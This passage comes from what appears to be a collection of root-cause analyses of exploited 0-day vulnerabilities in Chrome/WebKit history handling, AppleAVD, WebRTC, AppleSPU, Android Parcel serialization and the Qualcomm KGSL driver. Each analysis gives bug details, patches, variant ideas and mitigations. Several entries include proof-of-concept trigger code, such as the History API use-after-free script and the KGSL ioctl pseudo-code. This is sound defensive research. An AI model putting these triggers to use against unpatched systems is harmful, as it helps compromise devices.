location + "#foo"); 38 | 39 | // Current state = state2 40 | history.pushState("state2", ""); 41 | 42 | setTimeout(() => { 43 | 44 | // Set the focus on the input element. 45 | // During the call to back() the focus will change to the foo element 46 | // and therefore triggering the blur event on the input element 47 | input.focus(); 48 | input.onblur = () => history.replaceState("state3", ""); 49 | setTimeout(() => history.back(), 1000); 50 | }, 1000); 51 | ```` 52 | 53 | **Exploit sample:** N/A 54 | 55 | **Did you have access to the exploit sample when doing the analysis?** No 56 | 57 | ## The Vulnerability 58 | 59 | **Bug class:** Use-after-free 60 | 61 | **Vulnerability details:** 62 | 63 | The History API allows access to (and modification of) a stack of the pages visited in the current frame, and these page states are stored as a `SerializedScriptValue`. The History API exposes a getter for `state`, and a method `replaceState` which allows overwriting the "most recent" history entry. 64 | 65 | The bug is that `FrameLoader::loadInSameDocument` takes the `state` as an argument (`stateObject`), but doesn't increase its reference count. Only a `HistoryItem` object holds a reference to the `stateObject`. `loadInSameDocument` can trigger a callback into user JavaScript through the `onblur` event. The user's callback can call `replaceState` to replace the `HistoryItem`'s `state` with a new object, therefore dropping the only reference to the `stateObject`. When the callback returns, `loadInSameDocument` will still use this free'd object in its call to `statePopped`, leading to the use-after-free. 66 | 67 | When `loadInSameDocument` is called it changes the focus to the element its scrolling to. If we set the focus on a different element prior to `loadInSameDocument` running, the [`blur` event](https://developer.mozilla.org/en-US/docs/Web/API/Element/blur_event) will be fired on that element. Then we can free the `stateObject` by calling `replaceState` in the `onblur` event handler. 68 | 69 | **Patch analysis:** 70 | 71 | The patch changes the `stateObject` argument to `loadInSameDocument` from a raw pointer, `SerializedScriptValue*`, to a reference-counted pointer, `RefPtr`, so that `loadInSameDocument` now increments the reference count on the object. 72 | 73 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 74 | 75 | It seems reasonable that the vulnerability could have been found through watching the commits and seeing the initial fix from 2013 reverted in 2016, code auditing, or fuzzing. Fuzzing seems *slightly* less likely due to needing to support "navigation" which many fuzzers explicitly try to exclude. 76 | 77 | **(Historical/present/future) context of bug:** 78 | 79 | This bug was actually reported and initially fixed in 2013. In 2016 the fix was regressed during (it seems) refactoring. A full write-up is available [here](https://googleprojectzero.blogspot.com/2022/06/an-autopsy-on-zombie-in-wild-0-day.html). 80 | 81 | ## The Exploit 82 | 83 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 84 | 85 | **Exploit strategy (or strategies):** N/A, no access to exploit sample 86 | 87 | **Exploit flow:** 88 | 89 | **Known cases of the same exploit flow:** 90 | 91 | **Part of an exploit chain?** 92 | 93 | ## The Next Steps 94 | 95 | ### Variant analysis 96 | 97 | **Areas/approach for variant analysis (and why):** 98 | 99 | * Look for any commits where a reference-counted pointer was changed to a raw pointer. 100 | * Update fuzzer so that it could find this bug and therefore also hopefully provide coverage for other similar bugs too. 101 | 102 | **Found variants:** N/A 103 | 104 | ### Structural improvements 105 | 106 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 107 | 108 | **Ideas to kill the bug class:** 109 | 110 | By default, arguments to functions should be reference-counted. Raw pointers should only be used in rare exceptions. 111 | 112 | **Ideas to mitigate the exploit flow:** N/A 113 | 114 | **Other potential improvements:** 115 | 116 | * The bug was killed in 2013 and re-introduced in 2016. It seems that this likely occured due to the large issues affecting most software dev teams: legacy code, short reviewer turn-around expectations, refactoring and security efforts are generally under-appreciated and under-rewarded, and lack of memory safety mitigations. Steps towards any of these would likely make a difference. 117 | * The two commits that reverted the 2013 fix were very, very large commits: 40 and 94 files changed. While some large commits may include exclusively no-ops, these commits included many changes affecting lifetime semantics. This seems like it would make it very difficult for any developer or reviewer to be able to truly audit and understand the security impacts of all the changes being made. 118 | 119 | ### 0-day detection methods 120 | 121 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 122 | 123 | The code to trigger this vulnerability is pretty generic. I think any detection would have to be around exploitation method, which we couldn't analyze in this case since we didn't have access to the exploit sample. 124 | 125 | ## Other References 126 | 127 | * ["An Autopsy on a Zombie In-the-Wild 0-day"](https://googleprojectzero.blogspot.com/2022/06/an-autopsy-on-zombie-in-wild-0-day.html) Project Zero blog post -------------------------------------------------------------------------------- /0day-RCAs/2022/CVE-2022-22675.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-22675: AppleAVD Overflow in AVC_RBSP::parseHRD 2 | *Natalie Silvanovich* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** March 31, 2022 7 | 8 | **Product:** Apple iOS, MacOS 9 | 10 | **Advisory:** 11 | 12 | *iOS:* https://support.apple.com/en-us/HT213219 13 | 14 | *Mac:* https://support.apple.com/en-us/HT213220 15 | 16 | **Affected Versions:** 17 | 18 | *Reachable by thumbnailing media file:* MacOS 12.3 / iOS 15.4 19 | 20 | *Reachable from local code only:* MacOS 12.2.1 / iOS 15.3.1 and previous 21 | 22 | 23 | **First Patched Version:** MacOS 12.3.1 / iOS 15.4.1 24 | 25 | **Issue/Bug Report:** N/A 26 | 27 | **Patch CL:** N/A 28 | 29 | **Bug-Introducing CL:** N/A 30 | 31 | **Reporter(s):** an anonymous researcher 32 | 33 | ## The Code 34 | 35 | **Proof-of-concept:** 36 | 37 | Partial PoC below triggers patch log output, but does not crash 38 | 39 | https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-22675.mp4 40 | 41 | **Exploit sample:** N/A 42 | 43 | **Did you have access to the exploit sample when doing the analysis?** N/A 44 | 45 | ## The Vulnerability 46 | 47 | **Bug class:** Buffer overflow 48 | 49 | **Vulnerability details:** 50 | 51 | There is a buffer overflow when processing the Hardware Reference Device (HRD) of an H.264 stream in the function *AVC_RBSP::parseHRD*. The AppleAVD.kext kernel module reads values describing the bitrates of the HRD from the stream in a loop and copies them into a buffer. This buffer has a fixed size of 32 elements, meanwhile the number of elements copied is determined by the *cpb_cnt_minus1* value read from the stream, which can have a maximum value of 255, allowing the buffer to be overflowed. 52 | 53 | Note that while the advisories describe the impact of this issue as a local privilege escalation, it is theoretically possible to exploit it to achieve fully-remote code execution in MacOS 12.3/iOS 15.4. These versions use AppleAVD to perform thumbnailing of incoming images in iMessage, so this code path is available to a fully-remote attacker. 54 | 55 | **Patch analysis:** 56 | 57 | The patch tests whether the *cpb_cnt_minus1* value is less than 32. If the check fails, it logs “ERROR: hrd.cpb_cnt_minus1” and returns, which terminates decoding 58 | 59 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 60 | 61 | The vulnerability causes an overflow into other members of the decoder struct that contains the HRD buffer and does not extend into other allocations on the heap. Despite an in-depth analysis of this issue, we were unable to find a proof-of-concept media file that crashed the system, even after fuzzing with the trigger file above as a template for several days. This means that the condition that allowed the exploit was probably quite subtle, it is unlikely that the bug was found by fuzzing, so it was probably found by a manual audit of the binary. 62 | 63 | ## The Next Steps 64 | 65 | ### Variant analysis 66 | 67 | **Areas/approach for variant analysis (and why):** 68 | 69 | Several parsing functions in AppleAVD have recently became reachable when H.264 and H.265 streams are processed, including during thumbnailing of media files. This entire attack surface could use review. 70 | 71 | **Found variants:** None 72 | 73 | ### Structural improvements 74 | 75 | **Other potential improvements:** 76 | 77 | The impact of similar vulnerabilities could be reduced by removing the H.264 parameter parsing code from the kernel and running it in a lower-privileged context. 78 | 79 | ## Other References 80 | 81 | H.264 specification: https://www.itu.int/rec/T-REC-H.264 82 | -------------------------------------------------------------------------------- /0day-RCAs/2022/CVE-2022-22675.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/googleprojectzero/0days-in-the-wild/bf4c0e41fab9efa1bbe2b189c3afeed55dcb287e/0day-RCAs/2022/CVE-2022-22675.mp4 -------------------------------------------------------------------------------- /0day-RCAs/2022/CVE-2022-2294.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-2294: Heap buffer overflow in WebRTC 2 | *Natalie Silvanovich, Project Zero* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** July 4, 2022 7 | 8 | **Product:** WebRTC (in-the-wild exploitation targeted Chrome) 9 | 10 | **Advisory:** 11 | 12 | * Chrome: https://chromereleases.googleblog.com/2022/07/stable-channel-update-for-desktop.html 13 | * Safari: https://support.apple.com/en-us/HT213341 14 | 15 | **Affected Versions:** 16 | 17 | * WebRTC July 1, 2022 or earlier (WebRTC does not have formal versioning) 18 | * Chrome pre-103.0.5060.114 and earlier 19 | * Safari 15.5 and earlier 20 | * This issue does not affect Firefox 21 | 22 | The vulnerable library is also used by many mobile applications, but it is unclear whether the issue is exploitable. The bug is also only reachable in applications that use SDP munging or allow users to manipulate the SDP API. However, since SDP munging is fairly common, and use of the feature is typically not considered a security boundary by applications, we strongly recommend that all WebRTC users update their library to the most recent version. 23 | 24 | **First Patched Version:** 25 | 26 | * Chrome: 103.0.5060.114 27 | * Safari: 15.6 28 | 29 | **Issue/Bug Report:** https://bugs.chromium.org/p/chromium/issues/detail?id=1341043 30 | 31 | **Patch CL:** 32 | 33 | Both patches must be applied to fully remediate this issue: 34 | 35 | * https://webrtc-review.googlesource.com/c/src/+/267281 36 | * https://webrtc-review.googlesource.com/c/src/+/267628 37 | 38 | **Bug-Introducing CL:** https://webrtc-review.googlesource.com/c/src/+/95488/ 39 | 40 | **Reporter(s):** Jan Vojtesek from the Avast Threat Intelligence 41 | 42 | ## The Code 43 | 44 | **Proof-of-concept:** 45 | 46 | Chrome: 47 | ```html 48 | 49 | 50 | 89 | 90 | 91 | ``` 92 | 93 | Safari: 94 | Note that creating canvases for WebRTC with `document.createElement` is not supported in Safari. The PoC is otherwise the same. 95 | ```html 96 | 97 | 98 | 137 | 138 | 139 | ``` 140 | 141 | **Exploit sample:** N/A 142 | 143 | **Access to the exploit sample?** Yes 144 | 145 | ## The Vulnerability 146 | 147 | **Bug class:** Heap buffer overflow 148 | 149 | **Vulnerability details:** 150 | 151 | When a LocalConnection is created in WebRTC, it creates a vector that contains supported encodings. If the supported encodings are changed due to munging, a second vector is created with the current encodings. These vectors are then reconciled, which involves copying encoding properties between the vectors. If one is shorter than the other, due to the number of encodings supported being changed, a vector will be written out of bounds. 152 | 153 | While removing an encoding was technically supported by the WebRTC API, it is uncommon for a real application to munge a local connection as opposed to the SDP sent to a remote one. The fix to this issue causes an error if an application attempts this. 154 | 155 | **Patch analysis:** 156 | 157 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 158 | 159 | Most likely code review, possibly involving analysis of past bugs, as [CVE-2021-4079](https://bugs.chromium.org/p/chromium/issues/detail?id=1265806) is somewhat similar. It is unlikely that this bug was found in an automated fashion. 160 | 161 | **(Historical/present/future) context of bug:** 162 | 163 | ## The Exploit 164 | 165 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 166 | 167 | **Exploit strategy (or strategies):** 168 | 169 | **Exploit flow:** 170 | 171 | **Known cases of the same exploit flow:** 172 | 173 | **Part of an exploit chain?** 174 | 175 | ## The Next Steps 176 | 177 | ### Variant analysis 178 | 179 | **Areas/approach for variant analysis (and why):** 180 | 181 | **Found variants:** 182 | 183 | ### Structural improvements 184 | 185 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 186 | 187 | **Ideas to kill the bug class:** 188 | 189 | **Ideas to mitigate the exploit flow:** 190 | 191 | **Other potential improvements:** 192 | 193 | SDP munging in JavaScript is not supported by the WebRTC specification, so removing browser support is a possibility, though practically, it is widely used across the web. 194 | 195 | ### 0-day detection methods 196 | 197 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 198 | 199 | ## Other References 200 | * ["The Return of Candiru: Zero-days in the Middle East"](https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/) by Avast 201 | -------------------------------------------------------------------------------- /0day-RCAs/2022/CVE-2022-32917.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-32917: AppleSPU out of bounds write 2 | *Ned Williamson* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 2022 September 12 7 | 8 | **Product:** Apple iOS, macOS 9 | 10 | **Advisory:** 11 | 12 | *iOS:* https://support.apple.com/en-us/HT213445 13 | *macOS:* https://support.apple.com/en-us/HT213443 14 | 15 | **Affected Versions:** iOS 15.7, macOS 11.7 and earlier 16 | 17 | **First Patched Version:** iOS 15.7, macOS 11.7 18 | 19 | **Issue/Bug Report:** N/A 20 | 21 | **Patch CL:** N/A 22 | 23 | **Bug-Introducing CL:** N/A 24 | 25 | **Reporter(s):** Anonymous 26 | 27 | ## The Code 28 | 29 | **Proof-of-concept:** This can be triggered by creating an `IOUserClient` to send messages to the `_asyncMessage` object. This can be done by its exposed `RTBuddy` interface. 30 | 31 | **Exploit sample:** N/A 32 | 33 | **Did you have access to the exploit sample when doing the analysis?** No 34 | 35 | ## The Vulnerability 36 | 37 | **Bug class:** Buffer overflow 38 | 39 | **Vulnerability details:** 40 | 41 | AppleSPU.kext is a kernel extension that manages various drivers on macOS and iOS. It registers a message handler `AppleSPU::asyncMessage` with an `RTBuddy` endpoint. These endpoints can be accessed by instances of `IOUserClient`. One such user-exposed message with opcode `0x89` (called `ALLOCATE_BUFFER` in the pseudocode below) for the `AppleSPU` endpoint allocates a new buffer in the `AppleSPU` object. Active buffers are tracked with an array of buffer entries that has a static size of 16. 42 | 43 | There is no bounds check on the number of allocated buffers, so if more than 16 are allocated, an out of bounds write occurs within the `AppleSPU` object. The pseudocode can be found below: 44 | 45 | ```c 46 | struct BufferEntry { 47 | _WORD word1; 48 | _QWORD *buffer; 49 | _QWORD unk2; 50 | _QWORD unk3; 51 | _QWORD size; 52 | } 53 | 54 | struct AppleSPU { 55 | // ... 56 | BufferEntry buffer_entries[16]; 57 | unsigned int num_entries; 58 | // ... 59 | } 60 | 61 | void __fastcall AppleSPU::_asyncMessage(AppleSPU *this, void *a2, MessageDataType *message_data) 62 | { 63 | while ( 1 ) 64 | { 65 | // ... 66 | case ALLOCATE_BUFFER: 67 | size = this->AppleSPU.processor_memory_alignment * message_data->num_elements; 68 | buffer = ((__int64 (*)(void))this->AppleSPU.processor->vtable->procesor.allocate_buffer)(size); 69 | if ( !buffer ) 70 | panic(); 71 | v33 = (*(__int64 (**)(void))(*(_QWORD *)buffer + 120LL))(); 72 | v34 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)buffer + 128LL))(v32); 73 | entry = this->AppleSPU.buffer_entries[this->AppleSPU.num_entries]; 74 | entry->word1 = message_data->word1; 75 | entry->buffer = buffer; 76 | entry->unk2 = v33; 77 | entry->unk3 = v34; 78 | entry->size = size; 79 | this->AppleSPU.num_entries++; 80 | ``` 81 | 82 | **Patch analysis:** A bounds check was added on `AppleSPU::num_entries`. 83 | 84 | ```diff 85 | case ALLOCATE_BUFFER: 86 | + if (this->AppleSPU.num_entries >= 16u) 87 | + panic("out of buffer entries"); 88 | size = this->AppleSPU.processor_memory_alignment * message_data->num_elements; 89 | buffer = ((__int64 (*)(void))this->AppleSPU.processor->vtable->procesor.allocate_buffer)(size); 90 | if ( !buffer ) 91 | panic(); 92 | ``` 93 | 94 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** This bug is fairly simple, so it could have been found with either fuzzing or code auditing. For fuzzing, some knowledge of the structure of message types would be helpful to find the `ALLOCATE_BUFFER` message type, either by using a seed corpus of valid AppleSPU messages, coverage feedback, or using a grammar derived from manual analysis. 95 | 96 | **(Historical/present/future) context of bug:** N/A 97 | 98 | ## The Exploit 99 | 100 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 101 | 102 | **Exploit strategy (or strategies):** N/A, exploit not available 103 | 104 | **Exploit flow:** 105 | 106 | **Known cases of the same exploit flow:** 107 | 108 | **Part of an exploit chain?** 109 | 110 | ## The Next Steps 111 | 112 | ### Variant analysis 113 | 114 | **Areas/approach for variant analysis (and why):** 115 | Audit for usage of statically-sized arrays and ensure bounds checks are used. Fuzz all endpoints exposed to IOUserClient, including drivers. 116 | 117 | **Found variants:** N/A 118 | 119 | ### Structural improvements 120 | 121 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 122 | 123 | **Ideas to kill the bug class:** Use containers with checked accesses or prove that accesses are safe (e.g. with a language extension, compiler support, etc.). 124 | 125 | **Ideas to mitigate the exploit flow:** This is an overflow within a struct, so memory tagging that uses per-allocation granularity is insufficient to detect this issue unless fine-grained tags for each type are used. This is a challenge to accomplish while respecting the C structure layout specification. Therefore broader solutions such as banning C-style arrays within structures or inserting bounds checks with the compiler using the static size is a good approach here. 126 | 127 | **Other potential improvements:** 128 | 129 | ### 0-day detection methods 130 | 131 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 132 | 133 | ## Other References 134 | -------------------------------------------------------------------------------- /0day-RCAs/2023/CVE-2023-20963.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-20963: Android: mismatching parcel/unparcel logic for WorkSource 2 | *Jann Horn* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** March 1, 2023 7 | 8 | **Product:** Android 9 | 10 | **Advisory:** https://source.android.com/docs/security/bulletin/2023-03-01#framework 11 | 12 | **Affected Versions:** 13 | 14 | **First Patched Version:** Security Patch Level 2023-03-01 15 | 16 | **Issue/Bug Report:** 17 | 18 | **Patch CL:** https://android.googlesource.com/platform/frameworks/base/+/266b3bddcf14d448c0972db64b42950f76c759e3%5E%21/ 19 | 20 | **Bug-Introducing CL:** 21 | 22 | **Reporter(s):** 23 | - Android credits Sergey Toshin (@\_bagipro) of Oversecured Inc. 24 | - public analysis is done in writeups: 25 | - [by davinci1012/davincifans101](https://github.com/davincifans101/pinduoduo_backdoor_detailed_report/blob/main/report_en.pdf) (in english, chinese version also available) 26 | - [by Dark Navy](https://mp.weixin.qq.com/s/P_EYQxOEupqdU0BJMRqWsw) (in chinese) 27 | 28 | ## The Code 29 | 30 | **Proof-of-concept:** 31 | 32 | **Exploit sample:** 33 | 34 | **Did you have access to the exploit sample when doing the analysis?** 35 | haven't looked at it but I guess it's probably public somewhere 36 | 37 | ## The Vulnerability 38 | 39 | **Bug class:** injection via inconsistent parcel serialization/deserialization 40 | 41 | **Vulnerability details:** 42 | 43 | For background on the bug class, see this bug writeup linked in the 44 | davinci1012 analysis, written in 2017: 45 | https://github.com/michalbednarski/IntentsLab/issues/2#issuecomment-344365482 46 | 47 | The commit message of the patch linked above describes the issue pretty well. 48 | 49 | **Patch analysis:** 50 | 51 | The patch spot-fixes the bug instance in WorkSource so that the treatment of 52 | empty lists becomes the same for serialization and deserialization. 53 | 54 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 55 | 56 | Probably variant analysis specifically looking for inconsistent parcel 57 | serialization and deserialization - maybe manually, maybe by static analysis or 58 | fuzzing. 59 | 60 | **(Historical/present/future) context of bug:** 61 | 62 | Android's Parcel serialization is a highly fragile mechanism where every object 63 | type that can be serialized has custom code for serialization/deserialization 64 | (typically written in Java), and if there is a mismatch between these, that's 65 | usually a security bug. 66 | Other serialization schemes that rely on code generation from schema definitions 67 | or type-value-length encoding are much less susceptible to such issues. 68 | 69 | The davinci1012/davincifans101 writeup says that the malicious app that abused 70 | the bug was also using other issues of the same bug class: 71 | 72 | > Among them, SonaAbility is the core of the whole system, which is packed with several 0day and 1day 73 | > Bundle Mismatch vulnerabilities of various platforms for privilege escalation. 74 | > [...] 75 | > This type of vulnerability is favored by PDDs because of the low threshold for stability of exploitation and 76 | > ease of engineering. 77 | 78 | ## The Exploit 79 | 80 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 81 | 82 | **Exploit strategy (or strategies):** 83 | 84 | **Exploit flow:** 85 | 86 | **Known cases of the same exploit flow:** 87 | 88 | **Part of an exploit chain?** 89 | 90 | ## The Next Steps 91 | 92 | ### Variant analysis 93 | 94 | **Areas/approach for variant analysis (and why):** 95 | 96 | Possible approaches to find variants would be: 97 | 98 | - use static analysis to find `Parcelable` types with nontrivial 99 | serialization/deserialization, then manually look at all of them 100 | - enumerate all the `Parcelable` types, then use fuzzing to find serialized 101 | inputs for which a `deparcel -> parcel -> deparcel` round trip results in an 102 | overrun/underrun in the last deparcel step 103 | 104 | **Found variants:** 105 | 106 | Only poked around manually a bit so far and found nothing. 107 | 108 | ### Structural improvements 109 | 110 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 111 | 112 | **Ideas to kill the bug class:** 113 | 114 | The documentation at 115 | 116 | implies that the parcel wire format is not guaranteed to be stable: 117 | 118 | > Note: Parcel is not a general-purpose serialization mechanism, and you should 119 | > never store any Parcel data on disk or send it over the network. 120 | 121 | This means it should be possible to change the parcel wire format and either 122 | turn it into a proper [TLV format](https://en.wikipedia.org/wiki/Type%E2%80%93length%E2%80%93value) 123 | or at least add length information for each sub-object. 124 | Given that this seems to be a repeating bug class, I think this would be a 125 | relatively low-impact change that could mitigate the bug class. 126 | 127 | Android 13 128 | [already mitigates](https://android.googlesource.com/platform/frameworks/base/+/9ca6a5e21a1987fd3800a899c1384b22d23b6dee%5E%21/) 129 | the main method for exploiting this type of bug by isolating the unparcelization 130 | of bundle payloads. 131 | 132 | 133 | **Ideas to mitigate the exploit flow:** 134 | 135 | **Other potential improvements:** 136 | 137 | ### 0-day detection methods 138 | 139 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 140 | 141 | ## Other References 142 | 143 | - https://arstechnica.com/information-technology/2023/03/android-app-from-china-executed-0-day-exploit-on-millions-of-devices/ 144 | for more context on the malicious app in which the exploit was found 145 | -------------------------------------------------------------------------------- /0day-RCAs/2023/CVE-2023-33106.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-33106: Qualcomm Adreno GPU KGSL_GPU_AUX_COMMAND_SYNC OOB 2 | 3 | Clement Lecigne, Google Threat Analysis Group 4 | 5 | ## The Basics 6 | 7 | **Disclosure or Patch Date:** October 2, 2023 8 | 9 | **Product:** Qualcomm Adreno GPU 10 | 11 | **Advisory:** 12 | https://docs.qualcomm.com/product/publicresources/securitybulletin/october-2023-bulletin.html 13 | 14 | **Affected Versions:** N/A 15 | 16 | **First Patched Version:** N/A 17 | 18 | **Issue/Bug Report:** N/A 19 | 20 | **Patch CL:** 21 | https://git.codelinaro.org/clo/la/kernel/msm-5.4/-/commit/502b225c16ccd1e6adab632faf2637ff6fe74569 22 | 23 | **Bug-Introducing CL:** 24 | https://git.codelinaro.org/clo/la/kernel/msm-5.4/-/commit/36b196ce5c65ccade05e5e63ffe25c5661ad096e 25 | 26 | **Reporter(s):** Clement Lecigne of Google's Threat Analysis Group 27 | 28 | We would like to thank the Qualcomm product security team for their help while 29 | figuring out this vulnerability. 30 | 31 | ## The Code 32 | 33 | **Proof-of-concept:** 34 | 35 | Pseudo-code triggering the overflow. 36 | 37 | ```c 38 | // Opening KGSL. 39 | kgsl = open("/dev/kgsl-3d0", O_RDWR, 0); 40 | // Drawing context. 41 | ioctl(fd_kgsl, IOCTL_KGSL_DRAWCTXT_CREATE, ...); 42 | // Create timeline. 43 | ioctl(fd_kgsl, IOCTL_KGSL_TIMELINE_CREATE, ...); 44 | // Issue GPU aux command. 45 | struct kgsl_gpu_aux_command aux; 46 | aux.flags = KGSL_CONTEXT_SYNC|KGSL_GPU_AUX_COMMAND_TIMELINE; 47 | aux.numsyncs = 0x1337; // > 32. 48 | ioctl(fd_kgsl, IOCTL_KGSL_GPU_AUX_COMMAND, &aux); 49 | ``` 50 | 51 | **Exploit sample:** Not public. 52 | 53 | **Did you have access to the exploit sample when doing the analysis?** Yes 54 | 55 | ## The Vulnerability 56 | 57 | **Bug class:** Memory out-of-bounds write 58 | 59 | **Vulnerability details:** 60 | 61 | ```c 62 | long kgsl_ioctl_gpu_aux_command(struct kgsl_device_private *dev_priv, 63 | unsigned int cmd, void *data) // [0] 64 | { 65 | ... 66 | if (param->flags & KGSL_GPU_AUX_COMMAND_SYNC) { // [1] 67 | ... 68 | ret = kgsl_drawobj_sync_add_synclist(device, syncobj, 69 | u64_to_user_ptr(param->synclist), 70 | param->syncsize, param->numsyncs); // [2] 71 | if (ret) 72 | goto err; 73 | } 74 | ... 75 | } 76 | ``` 77 | 78 | ```c 79 | int kgsl_drawobj_sync_add_synclist(struct kgsl_device *device, 80 | struct kgsl_drawobj_sync *syncobj, void __user *ptr, 81 | unsigned int size, unsigned int count) 82 | { 83 | ... 84 | syncobj->synclist = kcalloc(count, 85 | sizeof(struct kgsl_drawobj_sync_event), GFP_KERNEL); 86 | ... 87 | for (i = 0; i < count; i++) { 88 | ... 89 | ret = kgsl_drawobj_sync_add_sync(device, syncobj, &sync); // [3] 90 | ... 91 | } 92 | return 0; 93 | } 94 | ``` 95 | 96 | ```c 97 | int kgsl_drawobj_sync_add_sync(struct kgsl_device *device, 98 | struct kgsl_drawobj_sync *syncobj, 99 | struct kgsl_cmd_syncpoint *sync) 100 | { 101 | struct kgsl_drawobj *drawobj = DRAWOBJ(syncobj); 102 | ... 103 | else if (sync->type == KGSL_CMD_SYNCPOINT_TYPE_TIMELINE) 104 | return drawobj_add_sync_timeline(device, 105 | syncobj, sync->priv, sync->size); // [4] 106 | ... 107 | } 108 | ``` 109 | 110 | ```c 111 | static int drawobj_add_sync_timeline(struct kgsl_device *device, 112 | struct kgsl_drawobj_sync *syncobj, void __user *uptr, 113 | u64 usize) 114 | { 115 | ... 116 | if (copy_struct_from_user(&sync, sizeof(sync), uptr, usize)) 117 | return -EFAULT; 118 | ... 119 | id = syncobj->numsyncs++; // [5] 120 | ... 121 | event->id = id; 122 | ... 123 | /* Set pending flag before adding callback to avoid race */ 124 | set_bit(event->id, &syncobj->pending); // [6] - event->id is user-controlled. 125 | ... 126 | } 127 | ``` 128 | 129 | ```c 130 | /** 131 | ... 132 | * @pending: Bitmask of sync events that are active 133 | ... 134 | */ 135 | struct kgsl_drawobj_sync { 136 | ... 137 | unsigned long pending; // [7] 138 | struct timer_list timer; 139 | unsigned long timeout_jiffies; 140 | }; 141 | ``` 142 | 143 | The vulnerability is due to the lack of sanitization checks arround the number 144 | of sync points `param->numsyncs` [2] passed to `IOCTL_KGSL_GPU_AUX_COMMAND` 145 | ioctl handler [0] when `KGSL_GPU_AUX_COMMAND_SYNC` [1] is specified. Down the 146 | line this is leading down to a set of calls [3][4] ultimately reaching out to a 147 | `set_bit` call [6] with a first parameter `nr` directly derived [5] from the 148 | user supplied `param->numsyncs` from the ioctl. Depending on the underlying 149 | implementation of `set_bit` this could lead to a linear out-of-bounds write like 150 | it's the case on ARM CPU. The kgsl driver allows only `KGSL_MAX_SYNCPOINTS` sync 151 | points which is hard coded to 32 and logically the size in bits of 152 | `syncobj->pending` [7]. 153 | 154 | **Patch analysis:** 155 | 156 | ```diff 157 | diff --git a/drivers/gpu/msm/kgsl.c b/drivers/gpu/msm/kgsl.c 158 | index fc6f6ee55b814c6942c42528b1430b1368ff8cd4..57fd3c091255cc843bad207d8452b3fc3abf27f8 100644 159 | --- a/drivers/gpu/msm/kgsl.c 160 | +++ b/drivers/gpu/msm/kgsl.c 161 | @@ -2091,6 +2091,10 @@ long kgsl_ioctl_gpu_aux_command(struct kgsl_device_private *dev_priv, 162 | (KGSL_GPU_AUX_COMMAND_TIMELINE))) 163 | return -EINVAL; 164 | 165 | + if ((param->flags & KGSL_GPU_AUX_COMMAND_SYNC) && 166 | + (param->numsyncs > KGSL_MAX_SYNCPOINTS)) 167 | + return -EINVAL; 168 | + 169 | context = kgsl_context_get_owner(dev_priv, param->context_id); 170 | if (!context) 171 | return -EINVAL; 172 | ``` 173 | 174 | `kgsl_ioctl_gpu_aux_command` has simply been modified to make sure 175 | `param->numsyncs` is lower or equal to `KGSL_MAX_SYNCPOINTS` before doing any 176 | processing otherwise the ioctl returns an error. 177 | 178 | **Thoughts on how this vuln might have been found *(fuzzing, code auditing, 179 | variant analysis, etc.)*:** 180 | 181 | This vulnerability could have been found via manual code review or using a 182 | fuzzer (e.g. in-memory specific kgsl fuzzer). 183 | 184 | **(Historical/present/future) context of bug:** N/A 185 | 186 | ## The Exploit 187 | 188 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and 189 | *exploit flow* are 190 | [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 191 | 192 | **Exploit strategy (or strategies):** N/A 193 | 194 | **Exploit flow:** N/A 195 | 196 | **Known cases of the same exploit flow:** N/A 197 | 198 | **Part of an exploit chain?** N/A 199 | 200 | ## The Next Steps 201 | 202 | ### Variant analysis 203 | 204 | **Areas/approach for variant analysis (and why):** 205 | 206 | Two approaches can be done here: 207 | 208 | * Find and review all `set_bit`, `change_bit` and `clear_bit` calls where 209 | first parameter can be user controlled and ensure proper sanitization checks 210 | have been made. 211 | * Review newly added kgsl GPU ioctl handlers and make sure all params are 212 | properly 